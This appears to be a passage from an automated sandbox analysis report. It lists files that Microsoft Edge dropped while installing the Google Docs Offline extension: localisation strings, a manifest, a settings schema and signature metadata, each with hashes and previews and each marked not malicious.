SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
